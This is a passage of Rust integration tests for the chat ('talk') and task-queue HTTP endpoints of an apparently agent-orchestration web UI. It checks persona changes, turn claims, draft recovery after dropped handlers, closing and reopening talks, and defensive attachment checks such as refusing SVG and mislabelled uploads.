11152 let home = TempDir::new().expect("temp home");
11153 let talks = Talks::at(home.path().join("talks"));
11154 let ui = Arc::new(
11155 Ui::new(
11156 Queue::at(home.path().join("queue")),
11157 Questions::at(home.path().join("questions")),
11158 talks.clone(),
11159 home.path().join("runs"),
11160 home.path().to_path_buf(),
11161 repo.clone(),
11162 )
11163 .with_worktrees_root(home.path().join("wt")),
11164 );
11165 let cfg = config_for(&repo).await.expect("discover config");
11166 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11167 let id = talk.id.clone();
11168 let call = |persona: &str| {
11169 talk_persona(
11170 State(Arc::clone(&ui)),
11171 Path(id.clone()),
11172 Json(TalkPersona {
11173 persona: persona.to_owned(),
11174 }),
11175 )
11176 };
11177
11178 let unknown = call("nobody").await.expect_err("unknown persona");
11179 assert_eq!(
11180 unknown.status,
11181 StatusCode::BAD_REQUEST,
11182 "{}",
11183 unknown.message
11184 );
11185
11186 {
11187 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
11190 let busy = call("rei").await.expect_err("busy talk");
11191 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
11192 assert!(
11193 busy.message.contains("a talk turn is running"),
11194 "{}",
11195 busy.message
11196 );
11197 drop(guard);
11198 }
11199 assert_eq!(talks.get(&id).expect("reload").persona, "");
11200
11201 let Json(view) = call("gendo").await.expect("switch to a configured persona");
11202 assert_eq!(view.talk.persona, "gendo");
11203 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
11204 assert!(!ui.is_thinking(&id), "idle response must release the claim");
11205 for chosen in ["default", "gendo", "rei", "gendo"] {
11207 let Json(view) = call(chosen).await.expect("immediate consecutive change");
11208 assert!(!view.thinking);
11209 assert!(!ui.is_thinking(&id));
11210 }
11211
11212 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
11213 .await
11214 .expect("detail");
11215 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
11216 assert_eq!(ids.first(), Some(&"default"));
11217 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
11218
11219 let Json(view) = call("default").await.expect("back to default");
11220 assert_eq!(view.talk.persona, "");
11221
11222 let mut closed = talks.get(&id).expect("reload");
11223 talk::close(&mut closed, &talks).expect("close");
11224 let refused = call("rei").await.expect_err("closed talk");
11225 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
11226 assert!(
11227 refused.message.contains("takes no more turns"),
11228 "{}",
11229 refused.message
11230 );
11231 }
11232
11233 #[tokio::test]
11234 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
11235 let f = Fixture::start().await;
11236 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
11237 let queue = f.queue();
11238 let mut mine = Task::new(
11239 "rename the loader".to_owned(),
11240 "rename the loader".to_owned(),
11241 PathBuf::from("/repo/magi"),
11242 Source::Agent {
11243 run: talk_id.clone(),
11244 node: "chat".to_owned(),
11245 },
11246 );
11247 queue.put(&mut mine).expect("file the task");
11248 let mut theirs = Task::new(
11249 "unrelated".to_owned(),
11250 "unrelated".to_owned(),
11251 PathBuf::from("/repo/magi"),
11252 Source::Human,
11253 );
11254 queue.put(&mut theirs).expect("file the task");
11255
11256 let res = f.get(&format!("/api/talks/{talk_id}")).await;
11257 assert_eq!(res.status, 200, "{}", res.body);
11258 let body = res.json();
11259 assert_eq!(
11260 body["status"], "open",
11261 "filing a task does not close a talk"
11262 );
11263 let tasks = body["tasks"].as_array().expect("tasks array");
11264 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
11265 assert_eq!(tasks[0]["id"], mine.id);
11266 }
11267
11268 #[tokio::test]
11269 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
11270 let (_tmp, _repo, f) = talk_fixture().await;
11271 let id = f.post("/api/talks", None).await.json()["id"]
11272 .as_str()
11273 .expect("id")
11274 .to_owned();
11275
11276 let res = f
11277 .post(
11278 &format!("/api/talks/{id}/say"),
11279 Some(r#"{"text":"what does the queue module do?"}"#),
11280 )
11281 .await;
11282 assert_eq!(res.status, 202, "{}", res.body);
11283 let queued = res.json();
11284 let turns = queued["turns"].as_array().expect("turns array");
11285 assert_eq!(
11286 turns.len(),
11287 1,
11288 "the answer reflects only what is on disk the instant it is sent, \
11289 before the agent's turn - which can run for the whole of \
11290 `[graph] timeout_talk` - has a chance to land: {queued}"
11291 );
11292 assert_eq!(turns[0]["who"], "operator");
11293 assert_eq!(turns[0]["body"], "what does the queue module do?");
11294 assert_eq!(
11295 queued["thinking"], true,
11296 "the accepted response exposes the background turn claim: {queued}"
11297 );
11298
11299 let mut turns_after = 1;
11300 for _ in 0..SETTLE_STEPS {
11301 let detail = f.get(&format!("/api/talks/{id}")).await.json();
11302 turns_after = detail["turns"].as_array().expect("turns array").len();
11303 if turns_after == 2 {
11304 break;
11305 }
11306 tokio::time::sleep(Duration::from_millis(10)).await;
11307 }
11308 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
11309 }
11310
11311 #[tokio::test]
11338 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
11339 let tmp = TempDir::new().expect("tempdir");
11340 let repo = tmp.path().join("repo");
11341 std::fs::create_dir_all(&repo).expect("repo dir");
11342 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11343 let home = TempDir::new().expect("temp home");
11344 let talks = Talks::at(home.path().join("talks"));
11345 let ui = Arc::new(
11346 Ui::new(
11347 Queue::at(home.path().join("queue")),
11348 Questions::at(home.path().join("questions")),
11349 talks.clone(),
11350 home.path().join("runs"),
11351 home.path().to_path_buf(),
11352 repo.clone(),
11353 )
11354 .with_worktrees_root(home.path().join("wt")),
11355 );
11356 let cfg = config_for(&repo).await.expect("discover config");
11357
11358 for delay in 0..40u32 {
11359 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
11360 let id = talk.id.clone();
11361
11362 let handler = tokio::spawn(talk_say(
11363 State(Arc::clone(&ui)),
11364 Path(id.clone()),
11365 Ok(Json(NewTalkTurn {
11366 reply_to: None,
11367 text: "what does the queue module do?".to_owned(),
11368 attachments: Vec::new(),
11369 })),
11370 ));
11371 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
11372 handler.abort();
11373 let _ = handler.await;
11376
11377 let mut turns = 0;
11378 for _ in 0..SETTLE_STEPS {
11379 if let Ok(fresh) = talks.get(&id) {
11380 turns = fresh.turns.len();
11381 if turns != 1 {
11382 break;
11383 }
11384 }
11385 tokio::time::sleep(Duration::from_millis(10)).await;
11386 }
11387 assert_ne!(
11388 turns, 1,
11389 "delay {delay}: talk {id} recorded the operator's turn but \
11390 the agent never answered - the reply task was never \
11391 started after the handler future was dropped"
11392 );
11393 }
11394 }
11395
11396 #[tokio::test]
11441 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
11442 let tmp = TempDir::new().expect("tempdir");
11443 let repo = tmp.path().join("repo");
11444 std::fs::create_dir_all(&repo).expect("repo dir");
11445 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11446 let home = TempDir::new().expect("temp home");
11447 let talks = Talks::at(home.path().join("talks"));
11448 let ui = Arc::new(
11449 Ui::new(
11450 Queue::at(home.path().join("queue")),
11451 Questions::at(home.path().join("questions")),
11452 talks.clone(),
11453 home.path().join("runs"),
11454 home.path().to_path_buf(),
11455 repo.clone(),
11456 )
11457 .with_worktrees_root(home.path().join("wt")),
11458 );
11459 let cfg = config_for(&repo).await.expect("discover config");
11460
11461 for attempt in 0..3u32 {
11462 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
11463 let id = talk.id.clone();
11464 let turn_guard = ui
11467 .begin_talk_turn(&id)
11468 .expect("claim the turn")
11469 .expect("a fresh talk owes nobody a turn");
11470
11471 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
11472 let (release_tx, release_rx) = std::sync::mpsc::channel();
11473 ui.set_busy_queue_gate(BusyQueueGate {
11474 reached: reached_tx,
11475 release: release_rx,
11476 });
11477
11478 let handler = tokio::spawn(talk_say(
11479 State(Arc::clone(&ui)),
11480 Path(id.clone()),
11481 Ok(Json(NewTalkTurn {
11482 reply_to: None,
11483 text: "what does the queue module do?".to_owned(),
11484 attachments: Vec::new(),
11485 })),
11486 ));
11487
11488 tokio::time::timeout(Duration::from_secs(5), reached_rx)
11493 .await
11494 .unwrap_or_else(|_| {
11495 panic!(
11496 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
11497 )
11498 })
11499 .expect("the busy branch dropped the gate without using it");
11500
11501 let running = talks.get(&id).expect("reload talk");
11508 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
11509
11510 handler.abort();
11514 let _ = handler.await;
11515
11516 let _ = release_tx.send(());
11522
11523 let mut fresh = talks.get(&id).expect("reload talk");
11526 for _ in 0..SETTLE_STEPS {
11527 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
11528 break;
11529 }
11530 tokio::time::sleep(Duration::from_millis(10)).await;
11531 fresh = talks.get(&id).expect("reload talk");
11532 }
11533 assert!(
11534 fresh.pending.is_empty() && fresh.turns.len() == 2,
11535 "attempt {attempt}: talk {id} left the operator's text queued \
11536 with no drainer - the reclaimed turn was dropped along with \
11537 the handler future (pending {:?}, {} turns)",
11538 fresh.pending,
11539 fresh.turns.len()
11540 );
11541 }
11542 }
11543
11544 #[tokio::test]
11545 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
11546 let (_tmp, _repo, f) = talk_fixture().await;
11547 let id = f.post("/api/talks", None).await.json()["id"]
11548 .as_str()
11549 .expect("id")
11550 .to_owned();
11551 let store = f.talks();
11552 let mut recovered = store.get(&id).expect("opened talk");
11553 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
11554 .expect("persist pending draft without a live turn");
11555
11556 let edited = f
11557 .post(
11558 &format!("/api/talks/{id}/pending/edit"),
11559 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
11560 )
11561 .await;
11562 assert_eq!(edited.status, 200, "{}", edited.body);
11563 assert!(edited.json()["thinking"].as_bool().unwrap());
11564
11565 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
11566 for _ in 0..SETTLE_STEPS {
11567 if detail["turns"].as_array().expect("turns").len() == 2 {
11568 break;
11569 }
11570 tokio::time::sleep(Duration::from_millis(10)).await;
11571 detail = f.get(&format!("/api/talks/{id}")).await.json();
11572 }
11573 let turns = detail["turns"].as_array().expect("turns");
11574 assert_eq!(
11575 turns.len(),
11576 2,
11577 "the recovered draft must run once: {detail}"
11578 );
11579 assert_eq!(turns[0]["body"], "corrected");
11580 assert_eq!(detail["pending"], "");
11581 }
11582
11583 #[tokio::test]
11584 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
11585 let tmp = TempDir::new().expect("tempdir");
11586 let repo = tmp.path().join("repo");
11587 std::fs::create_dir_all(&repo).expect("repo dir");
11588 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
11589 let f = Fixture::with_repo(repo).await;
11590 let id = f.post("/api/talks", None).await.json()["id"]
11591 .as_str()
11592 .expect("id")
11593 .to_owned();
11594 let store = f.talks();
11595 let mut recovered = store.get(&id).expect("opened talk");
11596 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
11597 .expect("persist pending draft without a live turn");
11598
11599 let refused = f
11600 .post(
11601 &format!("/api/talks/{id}/say"),
11602 Some(r#"{"text":"new message"}"#),
11603 )
11604 .await;
11605 assert_eq!(refused.status, 409, "{}", refused.body);
11606 assert!(refused.body.contains("resume"), "{}", refused.body);
11607 let saved = store.get(&id).expect("draft remains after refusal");
11608 assert!(saved.turns.is_empty());
11609 assert_eq!(saved.pending, "saved before restart");
11610
11611 let say_path = format!("/api/talks/{id}/say");
11612 let (first, second) = tokio::join!(
11613 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
11614 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
11615 );
11616 assert_eq!(first.status, 409, "{}", first.body);
11617 assert_eq!(second.status, 409, "{}", second.body);
11618 let saved = store
11619 .get(&id)
11620 .expect("draft remains after concurrent refusals");
11621 assert!(saved.turns.is_empty());
11622 assert_eq!(saved.pending, "saved before restart");
11623
11624 let resumed = f
11625 .post(&format!("/api/talks/{id}/pending/resume"), None)
11626 .await;
11627 assert_eq!(resumed.status, 202, "{}", resumed.body);
11628 let duplicate = f
11629 .post(&format!("/api/talks/{id}/pending/resume"), None)
11630 .await;
11631 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
11632
11633 for _ in 0..SETTLE_STEPS {
11634 if store.get(&id).expect("talk").turns.len() == 2 {
11635 break;
11636 }
11637 tokio::time::sleep(Duration::from_millis(10)).await;
11638 }
11639 let finished = store.get(&id).expect("finished talk");
11640 assert_eq!(finished.turns.len(), 2, "{finished:?}");
11641 assert_eq!(finished.turns[0].body, "saved before restart");
11642 assert!(finished.pending.is_empty());
11643 }
11644
11645 #[tokio::test]
11646 async fn an_image_only_recovered_draft_resumes_without_text() {
11647 let (_tmp, _repo, f) = talk_fixture().await;
11648 let id = f.post("/api/talks", None).await.json()["id"]
11649 .as_str()
11650 .expect("id")
11651 .to_owned();
11652 let uploaded = f
11653 .post_bytes(
11654 &format!("/api/talks/{id}/attachments"),
11655 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
11656 PNG_BYTES,
11657 )
11658 .await;
11659 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
11660 let attachment = f
11661 .talks()
11662 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
11663 .expect("attachment metadata")
11664 .expect("stored attachment");
11665 let store = f.talks();
11666 let mut recovered = store.get(&id).expect("opened talk");
11667 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
11668
11669 let resumed = f
11670 .post(&format!("/api/talks/{id}/pending/resume"), None)
11671 .await;
11672 assert_eq!(resumed.status, 202, "{}", resumed.body);
11673 for _ in 0..SETTLE_STEPS {
11674 if store.get(&id).expect("talk").turns.len() == 2 {
11675 break;
11676 }
11677 tokio::time::sleep(Duration::from_millis(10)).await;
11678 }
11679 let finished = store.get(&id).expect("finished talk");
11680 assert_eq!(finished.turns.len(), 2, "{finished:?}");
11681 assert!(finished.turns[0].body.is_empty());
11682 assert_eq!(finished.turns[0].attachments.len(), 1);
11683 assert!(finished.pending_attachments.is_empty());
11684 }
11685
11686 #[tokio::test]
11687 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
11688 let (_tmp, _repo, f) = talk_fixture().await;
11689 let id = f.post("/api/talks", None).await.json()["id"]
11690 .as_str()
11691 .expect("id")
11692 .to_owned();
11693 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11694 assert_eq!(closed.status, 200, "{}", closed.body);
11695 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
11696 .expect("serialize closed talk");
11697 for (path, body) in [
11698 (format!("/api/talks/{id}/pending/resume"), None),
11699 (
11700 format!("/api/talks/{id}/pending/clear"),
11701 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
11702 ),
11703 (
11704 format!("/api/talks/{id}/pending/edit"),
11705 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
11706 ),
11707 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
11708 ] {
11709 let response = f.post(&path, body).await;
11710 assert_eq!(response.status, 409, "{}", response.body);
11711 }
11712 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
11713 .expect("serialize closed talk");
11714 assert_eq!(
11715 after_clear, before_clear,
11716 "clear must not rewrite a closed talk"
11717 );
11718 }
11719
11720 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
11723
11724 #[tokio::test]
11725 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
11726 let tmp = TempDir::new().expect("tempdir");
11727 let repo = tmp.path().join("repo");
11728 std::fs::create_dir_all(&repo).expect("repo dir");
11729 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
11730 let f = Fixture::with_repo(repo).await;
11731 let id_a = f.post("/api/talks", None).await.json()["id"]
11732 .as_str()
11733 .unwrap()
11734 .to_owned();
11735 let id_b = f.post("/api/talks", None).await.json()["id"]
11736 .as_str()
11737 .unwrap()
11738 .to_owned();
11739
11740 let a = f
11741 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
11742 .await;
11743 assert_eq!(a.status, 202, "{}", a.body);
11744 assert_eq!(a.json()["thinking"], true);
11745 let b = f
11746 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
11747 .await;
11748 assert_eq!(b.status, 202, "{}", b.body);
11749 assert_eq!(b.json()["thinking"], true);
11750
11751 let listed = f.get("/api/talks").await.json();
11752 for id in [&id_a, &id_b] {
11753 let view = listed
11754 .as_array()
11755 .unwrap()
11756 .iter()
11757 .find(|talk| talk["id"] == *id)
11758 .unwrap();
11759 assert_eq!(view["thinking"], true, "{listed}");
11760 }
11761 let repeated = f
11762 .post(
11763 &format!("/api/talks/{id_a}/say"),
11764 Some(r#"{"text":"again"}"#),
11765 )
11766 .await;
11767 assert_eq!(repeated.status, 202, "{}", repeated.body);
11768 assert_eq!(repeated.json()["pending"], "again");
11769 }
11770
11771 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
11774
11775 #[tokio::test]
11776 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
11777 let f = Fixture::start().await;
11778 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
11779
11780 let res = f
11781 .post_bytes(
11782 &format!("/api/talks/{id}/attachments"),
11783 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
11784 PNG_BYTES,
11785 )
11786 .await;
11787 assert_eq!(res.status, 201, "{}", res.body);
11788 let body = res.json();
11789 assert_eq!(body["name"], "shot.png");
11790 assert_eq!(body["mime"], "image/png");
11791 assert_eq!(body["bytes"], PNG_BYTES.len());
11792 let att_id = body["id"].as_str().expect("id").to_owned();
11793 assert_eq!(
11794 att_id.len(),
11795 32,
11796 "the id must never be a client-suppliable path: {att_id}"
11797 );
11798
11799 let got = f
11800 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
11801 .await;
11802 assert_eq!(got.status, 200, "{}", got.body);
11803 assert_eq!(got.header("content-type"), Some("image/png"));
11804 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
11805 assert_eq!(got.bytes, PNG_BYTES);
11806 }
11807
11808 #[tokio::test]
11809 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
11810 let f = Fixture::start().await;
11811 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
11812
11813 let svg = f
11816 .post_bytes(
11817 &format!("/api/talks/{id}/attachments"),
11818 &[("Content-Type", "image/svg+xml")],
11819 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
11820 )
11821 .await;
11822 assert!(
11823 (400..500).contains(&svg.status),
11824 "svg must be refused: {} {}",
11825 svg.status,
11826 svg.body
11827 );
11828 assert!(svg.body.contains("SVG"), "{}", svg.body);
11829
11830 let text = f
11831 .post_bytes(
11832 &format!("/api/talks/{id}/attachments"),
11833 &[("Content-Type", "text/plain")],
11834 b"just some text",
11835 )
11836 .await;
11837 assert!(
11838 (400..500).contains(&text.status),
11839 "an unlisted type must be refused: {} {}",
11840 text.status,
11841 text.body
11842 );
11843
11844 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
11847 let big = f
11848 .post_bytes(
11849 &format!("/api/talks/{id}/attachments"),
11850 &[("Content-Type", "image/png")],
11851 &oversized,
11852 )
11853 .await;
11854 assert_eq!(
11855 big.status,
11856 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
11857 "{}",
11858 big.body
11859 );
11860 }
11861
11862 #[tokio::test]
11863 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
11864 let f = Fixture::start().await;
11865 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
11866
11867 let res = f
11870 .post_bytes(
11871 &format!("/api/talks/{id}/attachments"),
11872 &[("Content-Type", "image/png")],
11873 b"<html>not a picture</html>",
11874 )
11875 .await;
11876 assert!((400..500).contains(&res.status), "{}", res.body);
11877 }
11878
11879 #[tokio::test]
11880 async fn an_unknown_attachment_id_is_a_404() {
11881 let f = Fixture::start().await;
11882 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
11883
11884 let res = f
11885 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
11886 .await;
11887 assert_eq!(res.status, 404, "{}", res.body);
11888 }
11889
11890 #[tokio::test]
11891 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
11892 let f = Fixture::start().await;
11893 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
11894
11895 let uploaded = f
11896 .post_bytes(
11897 &format!("/api/talks/{id}/attachments"),
11898 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
11899 PNG_BYTES,
11900 )
11901 .await;
11902 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
11903 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
11904
11905 let res = f
11906 .post(
11907 &format!("/api/talks/{id}/say"),
11908 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
11909 )
11910 .await;
11911 assert_eq!(res.status, 202, "{}", res.body);
11912 let queued = res.json();
11913 let turns = queued["turns"].as_array().expect("turns array");
11914 assert_eq!(
11915 turns.len(),
11916 1,
11917 "an empty body with an attachment is still a turn: {queued}"
11918 );
11919 assert_eq!(turns[0]["who"], "operator");
11920 assert_eq!(turns[0]["body"], "");
11921 let atts = turns[0]["attachments"]
11922 .as_array()
11923 .expect("attachments array");
11924 assert_eq!(atts.len(), 1);
11925 assert_eq!(atts[0]["id"], att_id);
11926 assert_eq!(atts[0]["mime"], "image/png");
11927
11928 let on_disk = f.talks().get(&id).expect("get");
11931 assert_eq!(on_disk.turns[0].attachments.len(), 1);
11932 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
11933 }
11934
11935 #[tokio::test]
11936 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
11937 let f = Fixture::start().await;
11938 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
11939
11940 let res = f
11941 .post(
11942 &format!("/api/talks/{id}/say"),
11943 Some(&format!(
11944 r#"{{"text":"hi","attachments":["{}"]}}"#,
11945 "a".repeat(32)
11946 )),
11947 )
11948 .await;
11949 assert!((400..500).contains(&res.status), "{}", res.body);
11950 assert!(res.body.contains("unknown attachment"), "{}", res.body);
11951
11952 let on_disk = f.talks().get(&id).expect("get");
11953 assert!(
11954 on_disk.turns.is_empty(),
11955 "a rejected attachment id must not partially record the turn: {:?}",
11956 on_disk.turns
11957 );
11958 }
11959
11960 #[tokio::test]
11961 async fn talk_close_makes_the_talk_refuse_further_turns() {
11962 let f = Fixture::start().await;
11963 let id = seed_talk(&f, "20260904-014455-cd34", "open");
11964
11965 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11966 assert_eq!(closed.status, 200, "{}", closed.body);
11967 assert_eq!(closed.json()["status"], "closed");
11968
11969 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
11971 assert_eq!(closed_again.status, 200);
11972 assert_eq!(closed_again.json()["status"], "closed");
11973
11974 let said = f
11975 .post(
11976 &format!("/api/talks/{id}/say"),
11977 Some(r#"{"text":"too late"}"#),
11978 )
11979 .await;
11980 assert_eq!(said.status, 409, "{}", said.body);
11981 }
11982
11983 #[tokio::test]
11984 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
11985 let (_tmp, _repo, f) = talk_fixture().await;
11986 let id = f.post("/api/talks", None).await.json()["id"]
11987 .as_str()
11988 .expect("id")
11989 .to_owned();
11990 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11991 assert_eq!(closed.status, 200, "{}", closed.body);
11992
11993 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
11994 assert_eq!(reopened.status, 200, "{}", reopened.body);
11995 assert_eq!(reopened.json()["status"], "open");
11996
11997 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
11999 assert_eq!(reopened_again.status, 200);
12000 assert_eq!(reopened_again.json()["status"], "open");
12001
12002 let said = f
12003 .post(
12004 &format!("/api/talks/{id}/say"),
12005 Some(r#"{"text":"still there?"}"#),
12006 )
12007 .await;
12008 assert_eq!(
12009 said.status, 202,
12010 "a reopened talk accepts turns again: {}",
12011 said.body
12012 );
12013 }
12014
12015 #[tokio::test]
12016 async fn talk_reopen_on_an_unknown_id_is_404() {
12017 let f = Fixture::start().await;
12018 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
12019 assert_eq!(res.status, 404, "{}", res.body);
12020 }
12021
12022 #[tokio::test]
12023 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
12024 let f = Fixture::start().await;
12025 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
12026
12027 let deleted = f.delete(&format!("/api/talks/{id}")).await;
12028 assert_eq!(deleted.status, 204, "{}", deleted.body);
12029
12030 let after = f.get(&format!("/api/talks/{id}")).await;
12031 assert_eq!(after.status, 404, "{}", after.body);
12032
12033 let listed = f.get("/api/talks").await.json();
12034 assert!(
12035 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
12036 "a deleted talk must not linger in the list: {listed}"
12037 );
12038 }
12039
12040 #[tokio::test]
12041 async fn talk_delete_on_an_unknown_id_is_404() {
12042 let f = Fixture::start().await;
12043 let res = f.delete("/api/talks/nonexistent-id").await;
12044 assert_eq!(res.status, 404, "{}", res.body);
12045 }
12046
12047 #[tokio::test]
12051 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
12052 let f = Fixture::start().await;
12053 let (a, b, gone) = (
12054 "20260902-140501-aaaa",
12055 "20260902-140502-bbbb",
12056 "20260902-140503-cccc",
12057 );
12058 write_run(&f.runs(), a, RunStatus::Stalled);
12059 let mut review = RunState::new(
12060 PathBuf::from("/repo/magi"),
12061 "main".to_owned(),
12062 "0123456789abcdef".to_owned(),
12063 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
12064 .to_owned(),
12065 Config::default(),
12066 );
12067 review.id = b.to_owned();
12068 review.status = RunStatus::Merged;
12069 write_state(&f.runs(), &review);
12070
12071 let mut task = Task::new(
12072 "retry".to_owned(),
12073 "Do the thing".to_owned(),
12074 PathBuf::from("/repo/magi"),
12075 Source::Human,
12076 );
12077 task.start(a.to_owned());
12078 task.stall("quota");
12079 task.start(a.to_owned());
12080 task.start(b.to_owned());
12081 task.start(gone.to_owned());
12082 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
12084 f.queue().put(&mut task).expect("file the task");
12085
12086 let res = f.get(&format!("/api/queue/{}", task.id)).await;
12087 assert_eq!(res.status, 200, "{}", res.body);
12088 let v = res.json();
12089 let h = v["history"].as_array().expect("history");
12090 assert_eq!(h.len(), 4, "{v}");
12091 assert_eq!(h[0]["kind"], "competition");
12092 assert_eq!(h[0]["status"], "stalled");
12093 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
12094 assert_eq!(h[1]["kind"], "resume", "{v}");
12095 assert!(
12096 h[0]["outcome"]
12097 .as_str()
12098 .unwrap()
12099 .contains("unknown. Pass #2"),
12100 "an earlier pass of a resumed run must not claim the final outcome: {v}"
12101 );
12102 assert!(
12103 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
12104 "{v}"
12105 );
12106 assert!(
12107 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
12108 "an unrecorded cause must not be narrated as an operator park: {v}"
12109 );
12110 assert_eq!(h[2]["kind"], "review");
12111 assert!(
12112 h[2]["description"]
12113 .as_str()
12114 .unwrap()
12115 .contains("magi/aaaa/A")
12116 );
12117 assert_eq!(h[2]["status"], "merged");
12118 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
12119 assert_eq!(v["runs_unreadable"], 1);
12120 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
12121 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
12122 assert_eq!(nodes[4]["note"], "unreadable");
12123 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
12124 assert_eq!(v["instruction"], "Do the thing");
12125 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
12126
12127 let run = f.get(&format!("/api/runs/{a}")).await.json();
12129 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
12130
12131 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
12132 }
12133
12134 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
12135 let mut s = RunState::new(
12136 PathBuf::from("/repo/magi"),
12137 "main".to_owned(),
12138 "0123456789abcdef".to_owned(),
12139 "Do it".to_owned(),
12140 Config::default(),
12141 );
12142 s.status = status;
12143 edit(&mut s);
12144 s
12145 }
12146
12147 fn flow_task(runs: &[&str]) -> Task {
12148 let mut t = Task::new(
12149 "t".to_owned(),
12150 "Do it".to_owned(),
12151 PathBuf::from("/repo/magi"),
12152 Source::Human,
12153 );
12154 for r in runs {
12155 t.start((*r).to_owned());
12156 }
12157 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
12159 t
12160 }
12161
